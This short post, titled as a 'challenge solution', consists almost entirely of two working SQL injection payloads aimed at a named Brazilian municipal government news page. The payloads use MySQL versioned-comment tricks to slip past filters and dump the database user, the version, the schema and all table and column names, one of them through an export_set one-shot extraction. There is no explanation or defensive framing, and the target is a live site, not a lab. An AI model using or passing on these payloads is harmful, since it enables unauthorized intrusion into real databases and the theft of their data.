Tiger trace Challenge Solution

http://itacare.ba.gov.br/noticiadet.asp

post:
cod=-482  /*!50000Union*/ /*!50000Select*/ 1,2,CONCAT('dipu','=',USER(),'=',version(),'=',schema(), group_concat(0x3c62723e,/*!50000table_name*/,' :: ',column_name)),4,5,6,7,8,9%0afrom%0aInformation_Schema.%0acolumns%0awhere /*!50000table_schema*/=database() %23

==
post:
cod=-482  /*!50000Union*/ /*!50000Select*/ 1,2,CONCAT('dipu','=',USER(),'=',version(),'=',schema(), (SELECT+export_set(5,@:=0,(SELECT+COUNT(*)FROM(information_schema.columns)WHERE@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))),4,5,6,7,8,9 %23